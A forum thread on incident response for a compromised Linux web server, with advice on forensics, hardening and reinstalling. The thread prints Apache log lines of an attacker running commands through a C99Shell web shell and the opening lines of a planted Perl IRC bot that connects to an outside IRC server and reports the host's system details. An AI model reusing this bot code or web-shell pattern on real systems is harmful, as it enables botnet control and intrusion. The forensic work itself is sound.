Originally Posted by unSpawn

- too many services running,

What are the excess services ?

Quote:

Originally Posted by unSpawn

- no full hardening.

In building this server I made an important note to actually be pro-active about locking down the system, unlike all my other servers where I gave it minimal thought. I was this system and install to be up for years to come without any issues so I invested the time to learn and come up with Bastille and Tripwire and a few other tips and tricks. I wanted Snort too, but that will take some learning and have only touched on a tutorial for that. However, I did make a concerted effort to enforce good passwords, use ACL's rather then make perms too open for convenience and other good practices that compromise easy of use.

Its ironic that my other servers were up for years without an issue and then when I get serious about security I have a security problem. I have learnt many more applications that I can employ and will and found a few howto's/ tutorials that will additionally help through this mess.

Quote:

Originally Posted by unSpawn

Server administration problems:
- no evidence of or sporadic SW updating,

Again, aptitude -y upgrade is run every night as well as by me whenever I was using apt to install software.

Quote:

Originally Posted by unSpawn

- no evidence of regular auditing,

I tried to cut back files and permissions on a regular basis. Was even going to cut up my partitions more to add more acute mounting permissions.

Quote:

Originally Posted by unSpawn

- user management problems.

How so ? Not enough of me ? There's only me managing this server and I doubt I can get another person to manage it with me for free.

Quote:

Originally Posted by unSpawn

From output shown there is no clear "evidence" how this happened. However the tools used, ownership of those and the purpose given to the system (as far as found) suggests your typical "kiddie MO" in that they will only go for "easy kills" like Awstats, Wordpress, any PHP-based applications.

Whats MO ? Hmmm php apps I had on there was pm wiki, horde and another wiki that I cant recall the name for.

Quote:

Originally Posted by unSpawn

Unfortunately the "a.out" was owned by root and placed there recently (2007/02/22). No "evidence" can correlate this with any accuracy to the ongoing current breach of security. The chance somebody else with legitimate root account rights placed the binary there however seems infinitesmal.

Yeah this really alarmed me to see that. A root owned file that wasn't there a few days earlier. Scary stuff!

Quote:

Originally Posted by unSpawn

My advice is, like always:
- repartition, reformat, re-install from scratch,
- harden the box properly, update regularly, audit regularly (LQ FAQ: Security references).

Should I go ahead and do that this weekend ? Don't think we will find the cause and constant cause for a breech ? I really don't want to spend a whole day re-installing, setting up and hardening just to have it happen again a week later and go through all this again. I was really hoping to find the cause.

Thanks for your time unSpawn.

unSpawn · 02-22-2007, 11:43 AM

Ten points for the level of tenacity you've shown so far.

I'm not chiding you for not posting stuff earlier on, it's just I want to have stuff following a certain structure so we can tick each box and say it's handled before we can discard it as benign or malicious. And apparently I've made mistakes too in the process. It would go too far to post all logs here. Do you have all logs from the start? If you "du -mhs" the total logging (from /etc/syslog and all daemon logs, basically all in /var/log) after tarring and bzipping it, how much would that amount to?

DaveQB · 02-22-2007, 03:02 PM

Thanks for the kudos. I do feel somewhat helpless to this attack and ongoing exploit. I feel like I don't know enough and havent done enough homework.

Before I the logs..... I just woke up to check the status of my clamav scan and its still going! 6+ hours later. I look at top and look what I see.

Code:

17219 www-data  25   0  5508 3576 3444 R 70.7  0.3   1513:21 perl

Its stealing all the CPU time. It goes up 94% ad down to 50%

So..

Code:

server:/proc/17219# cat cmdline
/usr/locall/apache/bin/httpd -DSSL

That looks familiar. But..

Code:

server:/proc/17219# ll /usr/local* -d
drwxrwsr-x  9 root staff 4096 Dec 25 01:45 /usr/local

So how the heck is this thing running ?
This is some tricky exploit hiding itself huh ?

I obviously need a LiveCD for this one hey ? Pitty I have to leave for work right now

I want to kill that process, so I have tar'd up the proc directory (not sure how effective that is being a running process.)
I have put it up on my mates server.

[REMOVED]

Ok scratch that, the tar ball is bascily empty

Is there was to capture running processes for "offline" investigating ?

Can I get snort involved in this to see if we can find out how to this is happening ?

Man I wish I could take some time off work to get stuck into this!

DaveQB · 02-22-2007, 03:19 PM

Ok I think this is what you asked for..

Code:

server:~# tar cjf ALL-logs.tar.bz2 /var/log
tar: Removing leading `/' from member names
server:~# ll -h ALL-logs.tar.bz2
-rw-r--r--  1 root root 12M Feb 23 08:15 ALL-logs.tar.bz2

Also, I just remembered/saw that I am running an older version of Squirrel Mail.
I have 1.4.5. Here is the security page on their site.

http://www.squirrelmail.org/security/

ClamAV entire system scan is still running, so far only turned this up.
/var/lib/mailman/tests/msgs/nimda.txt: Exploit.IFrame.Gen FOUND

I have to head to work now.. running late...

unSpawn · 02-22-2007, 04:48 PM

Thanks for the kudos. I do feel somewhat helpless to this attack and ongoing exploit. I feel like I don't know enough and havent done enough homework.
Yeah, I kinda realise it's hard if you get thrown into a situation like this.

( From experience I can say that most of the time the problem isn't the breach or the fact-finding itself but the stance of the "victims". If they don't follow a set structure then in essence they'll be making it harder on themselves and those trying to help them (which they don't realise). If I look back at incident handling here at LQ then at least fifty percent of my time is spent getting and keeping them on track, to get what *I* need: the cold hard facts. )

(1.) So how the heck is this thing running ?
(2.) I obviously need a LiveCD for this one hey ?
(3.) Is there was to capture running processes for "offline" investigating ?

1. From your "botnet" strings post: '/usr/locall/apache/bin/httpd -DSSL'; (double L).
2. A Live CD comes in handy when you have doubts, suspect resources are hidden due to a rootkit, "fixed" binaries, preloading or whatever else. The obvious advantage is that since the system is "dead" autopsy can't be hindred. The obvious downside is that you loose all volatile data like being able to search through live memory, process and network stats.
3. If it's ELF you can copy the binary: "cp /proc/17219/exe /some/dir". If you want about everything there are a few tools like Cryogenic (Dittich IIRC), Memdump (Venema), Memget , Memfetch (Zalewski), well, you get the idea ;-p

Can I get snort involved in this to see if we can find out how to this is happening ?
Snort is a Signature-based intrusion detector. You can use it as a form of "early warning". If you would like to use Snort in this case you best put it transparently between this host and World. Since the compromise already happened things you could encouter are network policy violations like accessing odd ports, outbound scans or outbound exploiting. Since we're looking for the entry vector I wouldn't bother with IDSes now.

Also, I just remembered/saw that I am running an older version of Squirrel Mail.
Nice.

ClamAV entire system scan is still running
ClamAV ain't gonna help us find the entry vector. Besides, ClamAV isn't the strong AV solution we could wish for. Check out my small and subjective test: http://www.linuxquestions.org/linux/...prot_and_NOD32

12M Feb 23 08:15 ALL-logs.tar.bz2
Anyway. Size looks cool to me. Make sure it includes the toolkit and about everything from your logdir(s) and email/post me a D/L location and I'll have a look. No need to scrub things: all will be treated confidentially.

DaveQB · 02-22-2007, 05:30 PM

I have turned off apache and removed www-data account, so I should be safe for the meanwhile, but not web server which sucks ass and I need to get up soon.

Now at work and reattached to my screen session with clamav running. Still not done what this is what it has found now...

Code:

//home/david/public_html/data/kl.php: Trojan.PHP.C99Shell FOUND
//home/david/public_html/resume/kl.php: Trojan.PHP.C99Shell FOUND
//home/david/public_html/resume/momo.php: Trojan.PHP.C99Shell FOUND

I found this little bit of info on it ..

https://www.gibraltar.at/pipermail/g...st/005876.html

How that got there is still my big question. I don't have any php based application in my own public_html although with my resume site I did php just to include other parts of the site so I could edit the footer info, for eg, on all pages with one file.

Code:

server:/home/david/public_html/resume# ll
total 500
-rwxr-xr-x  1 david david       701 Jun 26  2006 body.php
drwxrwxrwx  2 david david      4096 Jun 26  2006 docs
-rwxr-xr-x  1 david david      1259 Jun 26  2006 education.php
-rwxr-xr-x  1 david david       937 Jun 26  2006 footer.php
drwxrwxrwx  2 david david      4096 Jun 26  2006 images
-rwxr-xr-x  1 david david       658 Jun 26  2006 images.php
-rwxr-xr-x  1 david david      1375 Sep 22 10:27 index.php
-rwxr-xr-x  1 david david      5047 Jun 26  2006 job.php
-rwxr-xr-x  1 david david      5010 Jun 26  2006 job.php~
-rw-r--r--  1    33 www-data 165533 Feb  3 06:09 kl.php
-rwxr-xr-x  1 david david      2433 Jun 26  2006 layout.css
-rwxr-xr-x  1 david david      3272 Jun 26  2006 logo.gif
-rw-r--r--  1    33 www-data   4693 Feb  5 06:16 mail0r.php
-rwxr-xr-x  1 david david       700 Jun 26  2006 menu.php
-rwxr-xr-x  1 david david       700 Jun 26  2006 menu.php.spanning
-rw-r--r--  1    33 www-data 152617 Feb 23 02:26 momo.php
-rwxr-xr-x  1 david david       412 Jun 26  2006 notes
-rwxr-xr-x  1 david david       368 Jun 26  2006 objective.php
-rwxr-xr-x  1 david david       140 Jun 26  2006 passed.txt
-rwxr-xr-x  1 david david      2287 Jun 26  2006 per.php
-rwxr-xr-x  1 david david      2260 Jun 26  2006 per.php~
-rw-r--r--  1    33 www-data   2191 Feb  5 06:04 phax.txt
-rwxr-xr-x  1 david david      2404 Jun 26  2006 presentation.css
-rwxr-xr-x  1 david david        60 Jun 26  2006 ref.php
-rwxr-xr-x  1 david david       101 Jun 26  2006 refP.php
-rwxr-xr-x  1 david david      2321 Jun 26  2006 resume-template.webprj
drwxrwxrwx  6 david david      4096 Jun 26  2006 resume1
drwxrwxrwx  5 david david      4096 Jun 26  2006 resume2
drwxrwxrwx  2 david david      4096 Jun 26  2006 resume3
drwxrwxrwx  2 david david      4096 Jun 26  2006 resume4
drwxrwxrwx  5 david david      4096 Jun 26  2006 resume5
-rwxr-xr-x  1 david david      1954 Jun 26  2006 sport.php
-rw-r--r--  1    33 www-data   2269 Feb  3 06:32 teh.pl
drwxrwxrwx  2 david david      4096 Jun 26  2006 templates
-rwxr-xr-x  1 david david     18510 Jun 26  2006 title.jpg
-rwxr-xr-x  1 david david      9787 Jun 26  2006 title2.jpg
drwxrwxrwx  2 david david      4096 Jun 26  2006 toolbars

server:/home/david/public_html/resume# ll -h momo.php  phax.txt  teh.pl  mail0r.php  kl.php 
-rw-r--r--  1 33 www-data 162K Feb  3 06:09 kl.php
-rw-r--r--  1 33 www-data 4.6K Feb  5 06:16 mail0r.php
-rw-r--r--  1 33 www-data 150K Feb 23 02:26 momo.php
-rw-r--r--  1 33 www-data 2.2K Feb  5 06:04 phax.txt
-rw-r--r--  1 33 www-data 2.3K Feb  3 06:32 teh.pl

Code:

server:/home/david/public_html/resume# grep kl.php /log/apache/*
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:33 +1100] "GET /kl.php HTTP/1.1" 200 6430 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:34 +1100] "GET /kl.php?act=img&img=back HTTP/1.1" 200 119 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:34 +1100] "GET /kl.php?act=img&img=home HTTP/1.1" 200 209 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:35 +1100] "GET /kl.php?act=img&img=forward HTTP/1.1" 200 119 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:35 +1100] "GET /kl.php?act=img&img=up HTTP/1.1" 200 199 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:35 +1100] "GET /kl.php?act=img&img=refresh HTTP/1.1" 200 200 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:36 +1100] "GET /kl.php?act=img&img=search HTTP/1.1" 200 250 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:36 +1100] "GET /kl.php?act=img&img=buffer HTTP/1.1" 200 163 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:37 +1100] "GET /kl.php?act=img&img=sort_asc HTTP/1.1" 200 85 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:37 +1100] "GET /kl.php?act=img&img=small_dir HTTP/1.1" 200 164 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:37 +1100] "GET /kl.php?act=img&img=ext_diz HTTP/1.1" 200 1027 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:37 +1100] "GET /kl.php?act=img&img=ext_lnk HTTP/1.1" 200 572 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:38 +1100] "GET /kl.php?act=img&img=ext_php HTTP/1.1" 200 79 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:38 +1100] "GET /kl.php?act=img&img=change HTTP/1.1" 200 290 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:39 +1100] "GET /kl.php?act=img&img=ext_php~ HTTP/1.1" 200 1034 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:39 +1100] "GET /kl.php?act=img&img=download HTTP/1.1" 200 161 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:39 +1100] "GET /kl.php?act=img&img=ext_css HTTP/1.1" 200 134 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:39 +1100] "GET /kl.php?act=img&img=ext_gif HTTP/1.1" 200 175 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:40 +1100] "GET /kl.php?act=img&img=ext_spanning HTTP/1.1" 200 1034 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:40 +1100] "GET /kl.php?act=img&img=ext_notes HTTP/1.1" 200 1034 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:40 +1100] "GET /kl.php?act=img&img=ext_txt HTTP/1.1" 200 132 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:41 +1100] "GET /kl.php?act=img&img=ext_webprj HTTP/1.1" 200 1034 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:42 +1100] "GET /kl.php?act=img&img=ext_pl HTTP/1.1" 200 99 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:42 +1100] "GET /kl.php?act=img&img=ext_jpg HTTP/1.1" 200 175 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:25:42 +1100] "GET /kl.php?act=img&img=arrow_ltr HTTP/1.1" 200 88 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:26:15 +1100] "GET /kl.php?act=f&f=index.php&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume HTTP/1.1" 200 4874 "http://resume.dward.us/kl.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:26:16 +1100] "GET /kl.php?act=img&img=ext_exe HTTP/1.1" 200 118 "http://resume.dward.us/kl.php?act=f&f=index.php&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:26:16 +1100] "GET /kl.php?act=img&img=ext_html HTTP/1.1" 200 230 "http://resume.dward.us/kl.php?act=f&f=index.php&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:26:17 +1100] "GET /kl.php?act=img&img=ext_ini HTTP/1.1" 200 134 "http://resume.dward.us/kl.php?act=f&f=index.php&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:26:17 +1100] "GET /kl.php?act=img&img=ext_rtf HTTP/1.1" 200 164 "http://resume.dward.us/kl.php?act=f&f=index.php&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:27:51 +1100] "POST /kl.php?act=f&f=index.php&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume%2F HTTP/1.1" 200 4887 "http://resume.dward.us/kl.php?act=f&f=index.php&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:48:23 +1100] "GET /kl.php? HTTP/1.1" 200 6429 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:48:29 +1100] "GET /kl.php?act=f&f=teh.pl&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume HTTP/1.1" 200 5043 "http://resume.dward.us/kl.php?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:48:52 +1100] "POST /kl.php?act=f&f=teh.pl&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume%2F HTTP/1.1" 200 5044 "http://resume.dward.us/kl.php?act=f&f=teh.pl&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:49:10 +1100] "GET /kl.php?act=ls&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume%2F&sort=0a HTTP/1.1" 200 6416 "http://resume.dward.us/kl.php?act=f&f=teh.pl&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume%2F" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"
/log/apache/access.log.1:213.84.7.135 - - [15/Feb/2007:06:49:01 +1100] "GET /kl.php?act=cmd&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume%2F&cmd=perl+teh.pl&cmd_txt=1&submit=Execute HTTP/1.1" 200 3999 "http://resume.dward.us/kl.php?act=f&f=teh.pl&ft=edit&d=%2Fhome%2Fdavid%2Fpublic_html%2Fresume%2F" "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9"

This is odd as momo.php is there...

Code:

server:/home/david/public_html/resume# grep momo.php /log/apache/*
/log/apache/access.log:196.202.15.182 - - [23/Feb/2007:02:24:15 +1100] "GET /momo.php HTTP/1.1" 404 371 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
/log/apache/access.log:196.202.15.182 - - [23/Feb/2007:02:26:56 +1100] "GET /resume/momo.php HTTP/1.1" 404 378 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
/log/apache/error.log:[client 196.202.15.182] script '/home/david/public_html/resume/momo.php' not found or unable to stat

So how the heck did user 33 get created ?

More digging needed..
Really starting to get annoyed with this cracker.

Any suggestions ?

Thanks

ClamAV still running, so more to come....

DaveQB · 02-22-2007, 05:41 PM

Firstly, thanks so much for all your efforts and time spent on this. Its been a good learning experience (a bit like the first time one loses their important data with a hard drive crash, I have never lost any data since

)

I hope this helps anyone else reading too.

Quote:

Originally Posted by unSpawn

Thanks for the kudos. I do feel somewhat helpless to this attack and ongoing exploit. I feel like I don't know enough and havent done enough homework.
Yeah, I kinda realise it's hard if you get thrown into a situation like this.

Indeed. I think I waste some time with things that aren't needed and not enough on things that need it. Experience, experience experience.

Quote:

Originally Posted by unSpawn

1. From your "botnet" strings post: '/usr/locall/apache/bin/httpd -DSSL'; (double L).

As I put in my post, there is no /usr/locall though. Is it hiddem somewhere else ? In a type of chroot maybe ? No that wouldnt help them/it.

Quote:

Originally Posted by unSpawn

2. A Live CD comes in handy when you have doubts, suspect resources are hidden due to a rootkit, "fixed" binaries, preloading or whatever else. The obvious advantage is that since the system is "dead" autopsy can't be hindred. The obvious downside is that you loose all volatile data like being able to search through live memory, process and network stats.
3. If it's ELF you can copy the binary: "cp /proc/17219/exe /some/dir". If you want about everything there are a few tools like Cryogenic (Dittich IIRC), Memdump (Venema), Memget , Memfetch (Zalewski), well, you get the idea ;-p

Thanks. More reading for me. Do you anywhere you can buy 'time' ?

Quote:

Originally Posted by unSpawn

Can I get snort involved in this to see if we can find out how to this is happening ?
Snort is a Signature-based intrusion detector. You can use it as a form of "early warning". If you would like to use Snort in this case you best put it transparently between this host and World. Since the compromise already happened things you could encouter are network policy violations like accessing odd ports, outbound scans or outbound exploiting. Since we're looking for the entry vector I wouldn't bother with IDSes now.

Ok, just a thought.

Quote:

Originally Posted by unSpawn

Also, I just remembered/saw that I am running an older version of Squirrel Mail.
Nice.

Yeah bugger.

Quote:

Originally Posted by unSpawn

ClamAV entire system scan is still running
ClamAV ain't gonna help us find the entry vector. Besides, ClamAV isn't the strong AV solution we could wish for. Check out my small and subjective test: http://www.linuxquestions.org/linux/...prot_and_NOD32

At least its giving me some hints and info (see latest post ^)

I'll try and take a read now, but at work and really need to be doing some work soon

Quote:

Originally Posted by unSpawn

12M Feb 23 08:15 ALL-logs.tar.bz2
Anyway. Size looks cool to me. Make sure it includes the toolkit and about everything from your logdir(s) and email/post me a D/L location and I'll have a look. No need to scrub things: all will be treated confidentially.

I'll PM you a link, or can I scp it to somewhere ?

DaveQB · 02-22-2007, 05:53 PM

Code:

server:/home/david/public_html/resume# head -n 30 phax.txt 
#!/usr/local/bin/perl -w
# irc.pl
# A simple IRC robot.
# Usage: perl irc.pl

use strict;

# We will use a raw socket to connect to the IRC server.
use IO::Socket;

# The server to connect to and our details.
my $server = "irc.p00nage.com";
my $rand = int(rand(9999));
my $nick = "H4X-$rand";
my $login = "kl-hax";

# The channel which the bot will join.
my $channel = "#linux";

# Connect to the IRC server.
my $sock = new IO::Socket::INET(PeerAddr => $server,
                                PeerPort => 6667,
                                Proto => 'tcp') or
                                die "Can't connect\n";

# Log on to the server.
print $sock "NICK $nick\r\n";
my $cmd = `uname -rno`;
print $sock "USER $login * * :$cmd X\r\n";

v00d00101 · 02-22-2007, 09:32 PM

Nice login details.

unSpawn · 02-23-2007, 03:41 AM

Quote:

Originally Posted by v00d00101

Nice login details.

Since I'm about the only one here at LQ who takes the time to do incident handling the structured way: I remind you this is a thread about an actual system compromise. and that raises the bar wrt white noise / distractions / typical banter I want to see. I would appreciate it if you keep from posting if you don't have anything constructive to add.

DaveQB · 02-23-2007, 07:39 AM

So have we hit a bit of a dead end ?

Did you get my "PM" unSpawn ?

I want to wipe the system either tomorrow or Sunday. Any further info I can get off it before I do ? Really want to avoid making the same mistake I obviously made this time so as to avoid the obvious.